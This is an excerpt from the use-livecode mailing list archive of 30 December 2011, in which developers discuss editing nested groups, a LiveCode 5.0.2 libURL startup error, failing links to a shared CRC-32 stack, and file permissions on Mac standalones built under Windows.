at twft.com (Bob Sneidar) Date: Fri, 30 Dec 2011 10:54:06 -0800 Subject: [ANN] CRC-32 LiveCode stack In-Reply-To: <1325264062194-4246201.post@n4.nabble.com> References: <1325264062194-4246201.post@n4.nabble.com> Message-ID: <3BB67A48-D6B3-479C-B557-AE45E1A14A07@twft.com> I get "No such card". Tried .livecode instead of .rev on both links too, no joy. Bob On Dec 30, 2011, at 8:54 AM, Alejandro Tejada wrote: > or type in your message box: > go stack "http://andregarzia.on-rev.com/alejandro/stacks/CRC-32.rev" > go stack "http://at.livecodejournal.com/stacks/CRC-32.rev" > > Please report any incompatibilities and/or errors. From pete at mollysrevenge.com Fri Dec 30 14:00:02 2011 From: pete at mollysrevenge.com (Pete) Date: Fri, 30 Dec 2011 11:00:02 -0800 Subject: Nested Group Frustrations Message-ID: I've just gone though a frustrating hour or so trying to deal with editing the contents of a group nested three layers deep in other groups, culminating in the loss of the outer group and all its component groups. Thank goodness for backups! Maybe I'm not aware of all the IDE capabilities for editing groups in terms of adding more controls to them. For a top level group, it's simple. Just select the group, ungroup, shift-click the new controls, and group. Trying to do the same for a nested group seems to be pretty much impossible without ungrouping the whole group hierarchy. What I ended up doing is create a new substack, select the nested group in the application browser, copy it, then paste it into the new substack. I do all the editing I need to do in the substack then paste the group back into the original stack. I've also used RevNavigator to drag and drop controls into an existing group - that works pretty nicely but I've had some issues with RevNavigator, mainly that the control list sometimes isn't populated for some reason. I'm curious to know if I'm missing something obvious and if not, how other folks deal with editing the contents of nested groups. Thanks, -- Pete Molly's Revenge From bobs at twft.com Fri Dec 30 14:00:29 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 30 Dec 2011 11:00:29 -0800 Subject: OT: How *not* to run a marketing campaign In-Reply-To: <1325265401352-4246246.post@n4.nabble.com> References: <1325265401352-4246246.post@n4.nabble.com> Message-ID: I wonder if his manager, or the idiot who decided to forward support emails to a guy who was not trained in that field was also terminated? There is of course, no excuse for communicating with customers of the company you work for in the manner this guy did, but something this serious should have sparked an internal investigation into how something like this was allowed to happen. Other heads should have rolled besides this guys. If he was the only person let go, then the real problem remains: The management problem. Bob On Dec 30, 2011, at 9:16 AM, Alejandro Tejada wrote: > I found really interesting that this exchange was taken so far... > > http://www.forbes.com/sites/danielnyegriffiths/2011/12/29/from-control-to-ko-paul-christoforo-interviewed/ > > Could this be just another distraction from the real news? > > Al > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/OT-How-not-to-run-a-marketing-campaign-tp4238512p4246246.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From roger.e.eller at sealedair.com Fri Dec 30 14:10:27 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Fri, 30 Dec 2011 14:10:27 -0500 Subject: [ANN] CRC-32 LiveCode stack In-Reply-To: <3BB67A48-D6B3-479C-B557-AE45E1A14A07@twft.com> References: <1325264062194-4246201.post@n4.nabble.com> <3BB67A48-D6B3-479C-B557-AE45E1A14A07@twft.com> Message-ID: On Fri, Dec 30, 2011 at 1:54 PM, Bob Sneidar wrote: > I get "No such card". Tried .livecode instead of .rev on both links too, > no joy. > > Bob > > On Dec 30, 2011, at 8:54 AM, Alejandro Tejada wrote: > > > or type in your message box: > > go stack "http://andregarzia.on-rev.com/alejandro/stacks/CRC-32.rev" > > go stack "http://at.livecodejournal.com/stacks/CRC-32.rev" > > > > Please report any incompatibilities and/or errors. > I get the same. The zip file download is fine though. ?Roger From bonnmike at gmail.com Fri Dec 30 14:17:30 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 30 Dec 2011 12:17:30 -0700 Subject: Nested Group Frustrations In-Reply-To: References: Message-ID: Make sure "select grouped" is not turned on. Click your toplevel group. Click "edit group" you are now in a screen that shows ONLY that groups objects. If you click on a group of that group you can again "edit group" and view only its items and again select a group in that subgroup and "edit group again". When you're done with your bottom level group, click edit group to go up a level. In this way you can dig up and down through your groups pretty much like a directory hierarchy with the exception that if you are in the toplevel you can see all groups contained and all their groups. As you go dig down you only see a more and more refined view. Also, you can use script to put things into and take things out of groups. (even from the message box) so depending on what you need done that might be an answer also. On Fri, Dec 30, 2011 at 12:00 PM, Pete wrote: > I've just gone though a frustrating hour or so trying to deal with editing > the contents of a group nested three layers deep in other groups, > culminating in the loss of the outer group and all its component groups. > Thank goodness for backups! > > Maybe I'm not aware of all the IDE capabilities for editing groups in terms > of adding more controls to them. For a top level group, it's simple. Just > select the group, ungroup, shift-click the new controls, and group. Trying > to do the same for a nested group seems to be pretty much impossible > without ungrouping the whole group hierarchy. > > What I ended up doing is create a new substack, select the nested group in > the application browser, copy it, then paste it into the new substack. I > do all the editing I need to do in the substack then paste the group back > into the original stack. I've also used RevNavigator to drag and drop > controls into an existing group - that works pretty nicely but I've had > some issues with RevNavigator, mainly that the control list sometimes isn't > populated for some reason. > > I'm curious to know if I'm missing something obvious and if not, how other > folks deal with editing the contents of nested groups. > > Thanks, > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bonnmike at gmail.com Fri Dec 30 14:21:23 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 30 Dec 2011 12:21:23 -0700 Subject: libURL Script Error After Upgrading to LiveCode 5.02 In-Reply-To: References: <91BE1414-BE24-48B4-B6E8-EA68ED1B9175@videotron.ca> Message-ID: If this is like some of the stuff (such as the thread about choosing the browse tool from within an openstack or preopenstack handler) A workaround was to move the affected code into a separate handler then from wherever you were doing the original call from, do a send in time. It doesn't take much delay to get around stuff (assuming it IS the same issue..) Seems like the workaround should be fine in a standalone too. On Fri, Dec 30, 2011 at 11:47 AM, Bob Sneidar wrote: > Ooooh good point... What if this happens with standalones? > > Bob > > > On Dec 30, 2011, at 10:29 AM, Gregory Lypny wrote: > > > Hi Guglielmo, > > > > Thank you for your response. I will do what you say while revising my > app, but does it mean that the standalone will not be affected? > > > > Gregory > > > > > > On Fri, Dec 30, 2011, at 1:00 PM, Guglielmo wrote: > > > >> Yes, same behavior for me with different handlers ... > >> ... there must be an error on Livecode 5.02 ... it seems to start your > >> application before he has finished loading its own modules :( > >> > >> If you first open Livecode 5.02, wait until Livecode is completely > started > >> and then you start your application ... no problem and all work fine. > >> > >> Hope this help, > >> > >> Guglielmo > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bobs at twft.com Fri Dec 30 14:24:02 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 30 Dec 2011 11:24:02 -0800 Subject: Nested Group Frustrations In-Reply-To: References: Message-ID: I do not think you need to ungroup, even nested groups. Click the fist group, select Edit Group, click the second group click Edit Group, select the third group, select Edit Group etc. Clicking Edit Group anywhere along the way when a group is not selected will untoggle Edit Group for ALL groups at ALL levels. Bob On Dec 30, 2011, at 11:00 AM, Pete wrote: > I've just gone though a frustrating hour or so trying to deal with editing > the contents of a group nested three layers deep in other groups, > culminating in the loss of the outer group and all its component groups. > Thank goodness for backups! > > Maybe I'm not aware of all the IDE capabilities for editing groups in terms > of adding more controls to them. For a top level group, it's simple. Just > select the group, ungroup, shift-click the new controls, and group. Trying > to do the same for a nested group seems to be pretty much impossible > without ungrouping the whole group hierarchy. > > What I ended up doing is create a new substack, select the nested group in > the application browser, copy it, then paste it into the new substack. I > do all the editing I need to do in the substack then paste the group back > into the original stack. I've also used RevNavigator to drag and drop > controls into an existing group - that works pretty nicely but I've had > some issues with RevNavigator, mainly that the control list sometimes isn't > populated for some reason. > > I'm curious to know if I'm missing something obvious and if not, how other > folks deal with editing the contents of nested groups. > > Thanks, > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Fri Dec 30 14:26:37 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 30 Dec 2011 11:26:37 -0800 Subject: libURL Script Error After Upgrading to LiveCode 5.02 In-Reply-To: References: <91BE1414-BE24-48B4-B6E8-EA68ED1B9175@videotron.ca> Message-ID: <54AB85E6-A3F9-440D-8505-22B109C9B907@twft.com> Aye there are workarounds for almost everything. I think we were just discussing how the behavior only began with a recent release of Livecode, and it may be a bug. Bob On Dec 30, 2011, at 11:21 AM, Mike Bonner wrote: > If this is like some of the stuff (such as the thread about choosing the > browse tool from within an openstack or preopenstack handler) A workaround > was to move the affected code into a separate handler then from wherever > you were doing the original call from, do a send in time. It doesn't take > much delay to get around stuff (assuming it IS the same issue..) Seems > like the workaround should be fine in a standalone too. > > On Fri, Dec 30, 2011 at 11:47 AM, Bob Sneidar wrote: > >> Ooooh good point... What if this happens with standalones? >> >> Bob >> >> >> On Dec 30, 2011, at 10:29 AM, Gregory Lypny wrote: >> >>> Hi Guglielmo, >>> >>> Thank you for your response. I will do what you say while revising my >> app, but does it mean that the standalone will not be affected? >>> >>> Gregory >>> >>> >>> On Fri, Dec 30, 2011, at 1:00 PM, Guglielmo wrote: >>> >>>> Yes, same behavior for me with different handlers ... >>>> ... there must be an error on Livecode 5.02 ... it seems to start your >>>> application before he has finished loading its own modules :( >>>> >>>> If you first open Livecode 5.02, wait until Livecode is completely >> started >>>> and then you start your application ... no problem and all work fine. >>>> >>>> Hope this help, >>>> >>>> Guglielmo >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Fri Dec 30 14:26:48 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 30 Dec 2011 13:26:48 -0600 Subject: Nested Group Frustrations In-Reply-To: References: Message-ID: <4EFE1078.1020100@hyperactivesw.com> On 12/30/11 1:00 PM, Pete wrote: > Maybe I'm not aware of all the IDE capabilities for editing groups in terms > of adding more controls to them. For a top level group, it's simple. Just > select the group, ungroup, shift-click the new controls, and group. Trying > to do the same for a nested group seems to be pretty much impossible > without ungrouping the whole group hierarchy. Don't do it that way. Disaster ensues. To edit a group, select the group either in the app browser or by turning off "select grouped" in the toolbar and clicking the group. Then in the toolbar click "edit group". When you are done editing, click the toolbar button again to stop editing. For nested groups, work your way down through them. Edit the top layer group, select the next one, edit that one, select the innermost one, edit that one. Then work your way back up by clicking "edit group" (which stops editing) a few times. It is very rare that I ever actually need to edit a group that way though. Usually I just keep "select grouped" turned on so I can manage the controls directly. If I need a new control it's often easier to just create it from the message box ("create button 'whatever' in group 'nestedGroup'") or else I option-drag-copy an existing control and change its properties. Dragging off a new control inside a group keeps it in the same group as the original. I realize this is a geeky workaround, but in deeply nested groups it's just quicker. Ungrouping can cause loss of not only the groups, but also their scripts in certain cases. Try to avoid ungrouping unless you really mean it. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bobs at twft.com Fri Dec 30 14:29:19 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 30 Dec 2011 11:29:19 -0800 Subject: The previous selection Message-ID: I vaguely remember a discussion a long time ago about getting the last thing selected, when you selected something different. In my case, I want to detect a selectionChanged, verify some things and then go back if the verification fails. I can code it, but I was hoping there would be something easier along the lies of: on selectionChanged theOldSelection Bob From bonnmike at gmail.com Fri Dec 30 14:43:37 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 30 Dec 2011 12:43:37 -0700 Subject: libURL Script Error After Upgrading to LiveCode 5.02 In-Reply-To: <54AB85E6-A3F9-440D-8505-22B109C9B907@twft.com> References: <91BE1414-BE24-48B4-B6E8-EA68ED1B9175@videotron.ca> <54AB85E6-A3F9-440D-8505-22B109C9B907@twft.com> Message-ID: Yeah, that same thread I mentioned discussed the problem being with 5.02 also. Just hadn't noticed if a temp workaround had been mentioned in this thread yet or not. Surely seems buggy to me. On Fri, Dec 30, 2011 at 12:26 PM, Bob Sneidar wrote: > Aye there are workarounds for almost everything. I think we were just > discussing how the behavior only began with a recent release of Livecode, > and it may be a bug. > > Bob > > > On Dec 30, 2011, at 11:21 AM, Mike Bonner wrote: > > > If this is like some of the stuff (such as the thread about choosing the > > browse tool from within an openstack or preopenstack handler) A > workaround > > was to move the affected code into a separate handler then from wherever > > you were doing the original call from, do a send in time. It doesn't > take > > much delay to get around stuff (assuming it IS the same issue..) Seems > > like the workaround should be fine in a standalone too. > > > > On Fri, Dec 30, 2011 at 11:47 AM, Bob Sneidar wrote: > > > >> Ooooh good point... What if this happens with standalones? > >> > >> Bob > >> > >> > >> On Dec 30, 2011, at 10:29 AM, Gregory Lypny wrote: > >> > >>> Hi Guglielmo, > >>> > >>> Thank you for your response. I will do what you say while revising my > >> app, but does it mean that the standalone will not be affected? > >>> > >>> Gregory > >>> > >>> > >>> On Fri, Dec 30, 2011, at 1:00 PM, Guglielmo wrote: > >>> > >>>> Yes, same behavior for me with different handlers ... > >>>> ... there must be an error on Livecode 5.02 ... it seems to start your > >>>> application before he has finished loading its own modules :( > >>>> > >>>> If you first open Livecode 5.02, wait until Livecode is completely > >> started > >>>> and then you start your application ... no problem and all work fine. > >>>> > >>>> Hope this help, > >>>> > >>>> Guglielmo > >>> > >>> _______________________________________________ > >>> use-livecode mailing list > >>> use-livecode at lists.runrev.com > >>> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >>> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From guglielmo at braguglia.ch Fri Dec 30 14:52:43 2011 From: guglielmo at braguglia.ch (gpb01) Date: Fri, 30 Dec 2011 11:52:43 -0800 (PST) Subject: libURL Script Error After Upgrading to LiveCode 5.02 In-Reply-To: <91BE1414-BE24-48B4-B6E8-EA68ED1B9175@videotron.ca> References: <6C18BF1E-8CFE-42A8-BD6F-C60E1D38AC03@videotron.ca> <91BE1414-BE24-48B4-B6E8-EA68ED1B9175@videotron.ca> Message-ID: <1325274763621-4246643.post@n4.nabble.com> Gregory Lypny wrote > > Hi Guglielmo, > > Thank you for your response. I will do what you say while revising my > app, but does it mean that the standalone will not be affected? > > Gregory > No, fortunately the standalone applications seem to work normally (/... tried on OS X 10.6.8 and Win 7 64 bit/) ... :-) Guglielmo -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/libURL-Script-Error-After-Upgrading-to-LiveCode-5-02-tp4243988p4246643.html Sent from the Revolution - User mailing list archive at Nabble.com. From guglielmo at braguglia.ch Fri Dec 30 15:07:31 2011 From: guglielmo at braguglia.ch (gpb01) Date: Fri, 30 Dec 2011 12:07:31 -0800 (PST) Subject: Mac OS-X standalone from Windows machine In-Reply-To: References: Message-ID: <1325275651351-4246680.post@n4.nabble.com> Levi Kendall wrote > > Hi All, > I'm having a bit of a problem making a standalone application for OS-X > from a Windows machine. Actually making it is not the problem really, > running it is. The save to standalone works fine and I end up with what I > am assuming is the executeable in a structure that looks as such: > > My Application.app \ Contents \ MacOS \ My Application > > What seems to be the problem is the file at the end "My Application" > does > not get the execute flag set on it when being transfered to the OS-X > filesystem. My current method of transport was simply to zip the entire > directory and then unzip the file on the Mac. This would leave the > directory structure as is, which I'm assuming is necessary. However the > problem is the "My Application" executeable needs to have CHMOD run on it > in > order to properly execute because of the execute flag missing on the OS-X > filesystem. > > Does anyone have any solution to work around this? Is it necessary to > have some kind of "installer" program to properly set this up on the OS-X > end? Or is there another way to handle it? If at all possible, I would > like to be able to handle this from the Windows machine, rather than > actually needing an OS-X box. > > -Levi Kendall > _______________________________________________ > use-revolution mailing list > use-revolution at .runrev > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-revolution > Sorry, no problem here ... ... I created a new Test application on Win 7 64 using LiveCode 5.0.2, saved and generated the Standalone for Win/OSX/Linux. Next copied the generated folder (/which contains Win/OS/Linux versions/) on a shared folder which I can access from an iMac running OS X 10.6.8, copied on my desktop, double-click on the Test.app ... and the program started :-) Guglielmo -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Mac-OS-X-standalone-from-Windows-machine-tp297391p4246680.html Sent from the Revolution - User mailing list archive at Nabble.com. From mwieder at ahsoftware.net Fri Dec 30 15:16:05 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 30 Dec 2011 12:16:05 -0800 Subject: Nested Group Frustrations In-Reply-To: <4EFE1078.1020100@hyperactivesw.com> References: <4EFE1078.1020100@hyperactivesw.com> Message-ID: <1141185250562.20111230121605@ahsoftware.net> Jacque- Friday, December 30, 2011, 11:26:48 AM, you wrote: > On 12/30/11 1:00 PM, Pete wrote: >> For a top level group, it's simple. Just select the group, ungroup, >> shift-click the new controls, and group. > Don't do it that way. Disaster ensues. This bears repeating. > Don't do it that way. Disaster ensues. Maybe a couple of times. > Don't do it that way. Disaster ensues. Don't. Really. Don't. -- -Mark Wieder mwieder at ahsoftware.net From bobs at twft.com Fri Dec 30 15:22:29 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 30 Dec 2011 12:22:29 -0800 Subject: Nested Group Frustrations In-Reply-To: <1141185250562.20111230121605@ahsoftware.net> References: <4EFE1078.1020100@hyperactivesw.com> <1141185250562.20111230121605@ahsoftware.net> Message-ID: <967F47F8-6B24-450E-B20E-29A87E5EB8F2@twft.com> Heh heh. There is a preferred method to this: Go find a stick. Sharpen the end of it. Point it at one of your eyes... You get the picture. ;-) Bob On Dec 30, 2011, at 12:16 PM, Mark Wieder wrote: > Jacque- > > Friday, December 30, 2011, 11:26:48 AM, you wrote: > >> On 12/30/11 1:00 PM, Pete wrote: > >>> For a top level group, it's simple. Just select the group, ungroup, >>> shift-click the new controls, and group. > >> Don't do it that way. Disaster ensues. > > This bears repeating. > >> Don't do it that way. Disaster ensues. > > Maybe a couple of times. > >> Don't do it that way. Disaster ensues. > > Don't. Really. Don't. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From guglielmo at braguglia.ch Fri Dec 30 15:28:37 2011 From: guglielmo at braguglia.ch (gpb01) Date: Fri, 30 Dec 2011 12:28:37 -0800 (PST) Subject: Mac OS-X standalone from Windows machine In-Reply-To: <1325275651351-4246680.post@n4.nabble.com> References: <1325275651351-4246680.post@n4.nabble.com> Message-ID: <1325276917347-4246726.post@n4.nabble.com> Interesting ... ... if I enclose the Test directory (the one containing Win/OSX/Linux app) on a .rar file and I transfer the .rar file using the same shared volume ... the Test.App no longer works !!! So ... ... transferring directly the directory through the share, *work fine* ... transferring a compressed version still through the share *does't work* ! Can be the "/disk sharing/" (SMB://) so clever to correct by itself the problem ? Guglielmo -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Mac-OS-X-standalone-from-Windows-machine-tp297391p4246726.html Sent from the Revolution - User mailing list archive at Nabble.com. From revdev at pdslabs.net Fri Dec 30 15:29:21 2011 From: revdev at pdslabs.net (Phil Davis) Date: Fri, 30 Dec 2011 12:29:21 -0800 Subject: dead handler detector? Message-ID: <4EFE1F21.20007@pdslabs.net> Hi folks - Does anyone have a dead handler detector they would like to share? I looked in RevOnline but didn't find anything. It seems I'm always working on old code that contains handlers that have been superseded by other handlers. I would like an easy way to find those now-unused handlers and remove them. I realize the task of detecting dead handlers is conceptually simple but more complex when it comes to implementation. Still, maybe you have built such a thing that you wouldn't mind sharing. Happy New Year! (Is it too early to say that?) -- Phil Davis PDS Labs Professional Software Development http://pdslabs.net From pete at mollysrevenge.com Fri Dec 30 15:35:22 2011 From: pete at mollysrevenge.com (Pete) Date: Fri, 30 Dec 2011 12:35:22 -0800 Subject: Nested Group Frustrations In-Reply-To: <4EFE1078.1020100@hyperactivesw.com> References: <4EFE1078.1020100@hyperactivesw.com> Message-ID: Thank you MIke and Jacque, that helps a lot! Pete On Fri, Dec 30, 2011 at 11:26 AM, J. Landman Gay wrote: > On 12/30/11 1:00 PM, Pete wrote: > > Maybe I'm not aware of all the IDE capabilities for editing groups in >> terms >> of adding more controls to them. For a top level group, it's simple. >> Just >> select the group, ungroup, shift-click the new controls, and group. >> Trying >> to do the same for a nested group seems to be pretty much impossible >> without ungrouping the whole group hierarchy. >> > > Don't do it that way. Disaster ensues. > > To edit a group, select the group either in the app browser or by turning > off "select grouped" in the toolbar and clicking the group. Then in the > toolbar click "edit group". When you are done editing, click the toolbar > button again to stop editing. > > For nested groups, work your way down through them. Edit the top layer > group, select the next one, edit that one, select the innermost one, edit > that one. Then work your way back up by clicking "edit group" (which stops > editing) a few times. > > It is very rare that I ever actually need to edit a group that way though. > Usually I just keep "select grouped" turned on so I can manage the controls > directly. If I need a new control it's often easier to just create it from > the message box ("create button 'whatever' in group 'nestedGroup'") or else > I option-drag-copy an existing control and change its properties. Dragging > off a new control inside a group keeps it in the same group as the > original. I realize this is a geeky workaround, but in deeply nested groups > it's just quicker. > > Ungrouping can cause loss of not only the groups, but also their scripts > in certain cases. Try to avoid ungrouping unless you really mean it. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Fri Dec 30 15:38:36 2011 From: pete at mollysrevenge.com (Pete) Date: Fri, 30 Dec 2011 12:38:36 -0800 Subject: Nested Group Frustrations In-Reply-To: <1141185250562.20111230121605@ahsoftware.net> References: <4EFE1078.1020100@hyperactivesw.com> <1141185250562.20111230121605@ahsoftware.net> Message-ID: I swear I will never do it again! On Fri, Dec 30, 2011 at 12:16 PM, Mark Wieder wrote: > Jacque- > > Friday, December 30, 2011, 11:26:48 AM, you wrote: > > > On 12/30/11 1:00 PM, Pete wrote: > > >> For a top level group, it's simple. Just select the group, ungroup, > >> shift-click the new controls, and group. > > > Don't do it that way. Disaster ensues. > > This bears repeating. > > > Don't do it that way. Disaster ensues. > > Maybe a couple of times. > > > Don't do it that way. Disaster ensues. > > Don't. Really. Don't. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From jacque at hyperactivesw.com Fri Dec 30 15:43:24 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 30 Dec 2011 14:43:24 -0600 Subject: Mac OS-X standalone from Windows machine In-Reply-To: <1325276917347-4246726.post@n4.nabble.com> References: <1325275651351-4246680.post@n4.nabble.com> <1325276917347-4246726.post@n4.nabble.com> Message-ID: <4EFE226C.6090603@hyperactivesw.com> On 12/30/11 2:28 PM, gpb01 wrote: > Interesting ... > > ... if I enclose the Test directory (the one containing Win/OSX/Linux app) > on a .rar file and I transfer the .rar file using the same shared volume ... > the Test.App no longer works !!! > > So ... > ... transferring directly the directory through the share, *work fine* > ... transferring a compressed version still through the share *does't work* > ! > > Can be the "/disk sharing/" (SMB://) so clever to correct by itself the > problem ? I think the compression is probably the problem, the permissions get lost. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mwieder at ahsoftware.net Fri Dec 30 16:05:57 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 30 Dec 2011 13:05:57 -0800 Subject: OT: How *not* to run a marketing campaign In-Reply-To: <1325265401352-4246246.post@n4.nabble.com> References: <1325265401352-4246246.post@n4.nabble.com> Message-ID: <811188242234.20111230130557@ahsoftware.net> Alejandro- Friday, December 30, 2011, 9:16:41 AM, you wrote: > I found really interesting that this exchange was taken so far... The Forbes article draws entirely the wrong conclusion: "it was terrible luck to be the person whose Internet argument caught the eye of a superfan." No - that's *not* the moral of this story. There's also a video. (probably NSFW) http://www.youtube.com/watch?v=xqV9kx40RG0&hd=1 -- -Mark Wieder mwieder at ahsoftware.net From bobs at twft.com Fri Dec 30 18:07:00 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 30 Dec 2011 15:07:00 -0800 Subject: Another Sly Laboratories innovation Message-ID: <2EF1BFCC-5631-493C-ABAB-2C51C7BE562E@twft.com> Hi all. I think I just came up with a way to get information from another stack that otherwise would be invisible to the stack I am working on. In this case I wanted a property of a card field on a card in a stack that was not the one I was working with. Further, I wanted to be able to change the card field, the card and even the stack on the fly without having to make those stacks aware of the controlling stack. I knew the short name of the field. I needed the long ID of that field. The trouble is, the object belonged to a group that I did NOT know. Also, the global had not been declared in the target stack, and since I wanted this stack to work with any stack I used it on, I didn't want to have to make every one of those stacks aware of the global to use it. I did this in a menu of card fields on the target card: global gWhichField, gWhichCard, gWhichStack --> all handlers on menuPick pChosen put pChosen into theField send "global gWhichField;put the long id of " & theField & " of " & gWhichCard & " into gWhichField" to gWhichStack end menuPick This updated the global gWhichField in the current stack without having to know the ID of the group it belonged to. Notice in the send command I actually sent two commands, the global declaration and the actual command. The dictionary does not mention that you can do this. I am not sure anyone ever thought of trying. I don't think it will work with dispatch, as the key to this working is that send temporarily makes the target stack the defaultStack. I suppose you could apply this same technique of sending multiple commands to solve some other sticky problems. It is quite possible that I drank too much coffee and am solving the problem some long, convoluted and completely unnecessary way, so feel free to chide me if I have. Bob From capellan2000 at gmail.com Fri Dec 30 18:36:36 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 30 Dec 2011 15:36:36 -0800 (PST) Subject: [ANN] CRC-32 LiveCode stack In-Reply-To: References: <1325264062194-4246201.post@n4.nabble.com> <3BB67A48-D6B3-479C-B557-AE45E1A14A07@twft.com> Message-ID: <1325288196165-4247179.post@n4.nabble.com> Hi All, Roger Eller wrote > > On Fri, Dec 30, 2011 at 1:54 PM, Bob Sneidar wrote: >> I get "No such card". Tried .livecode instead of .rev on >> both links too, no joy. > > I get the same. The zip file download is fine though. > Many Thanks for reporting this. Just notice that both links works fine on my computers. Maybe a firewall is stoping the stacks downloads in your computers. Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/ANN-CRC-32-LiveCode-stack-tp4246201p4247179.html Sent from the Revolution - User mailing list archive at Nabble.com. From capellan2000 at gmail.com Fri Dec 30 18:46:47 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 30 Dec 2011 15:46:47 -0800 (PST) Subject: OT: How *not* to run a marketing campaign In-Reply-To: <811188242234.20111230130557@ahsoftware.net> References: <1325265401352-4246246.post@n4.nabble.com> <811188242234.20111230130557@ahsoftware.net> Message-ID: <1325288807955-4247201.post@n4.nabble.com> One thing, for sure, that this incident makes clears is the power of a community on the internet era... :-D -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/OT-How-not-to-run-a-marketing-campaign-tp4238512p4247201.html Sent from the Revolution - User mailing list archive at Nabble.com. From bobs at twft.com Fri Dec 30 18:56:58 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 30 Dec 2011 15:56:58 -0800 Subject: [ANN] CRC-32 LiveCode stack In-Reply-To: <1325288196165-4247179.post@n4.nabble.com> References: <1325264062194-4246201.post@n4.nabble.com> <3BB67A48-D6B3-479C-B557-AE45E1A14A07@twft.com> <1325288196165-4247179.post@n4.nabble.com> Message-ID: <6B352DE2-C698-4B2D-AE53-B28333387476@twft.com> Nope. I get stacks using links all the time. It may be that the serving site has blocks I dunno. Bob On Dec 30, 2011, at 3:36 PM, Alejandro Tejada wrote: > Hi All, > > > Roger Eller wrote >> >> On Fri, Dec 30, 2011 at 1:54 PM, Bob Sneidar wrote: >>> I get "No such card". Tried .livecode instead of .rev on >>> both links too, no joy. >> >> I get the same. The zip file download is fine though. >> > > Many Thanks for reporting this. Just notice > that both links works fine on my computers. > > Maybe a firewall is stoping the stacks > downloads in your computers. > > Al > > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/ANN-CRC-32-LiveCode-stack-tp4246201p4247179.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage 